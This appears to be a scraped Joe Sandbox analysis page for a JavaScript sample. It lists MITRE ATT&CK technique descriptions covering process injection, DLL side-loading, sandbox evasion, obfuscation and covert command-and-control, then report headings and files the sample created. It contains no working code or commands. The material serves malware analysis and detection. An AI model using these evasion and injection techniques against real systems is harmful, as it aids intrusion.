Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1141011204217106657.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d84b3af2-8c17-4542-820a-c80795111dac.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7880

Windows Analysis Report
1141011204217106657.js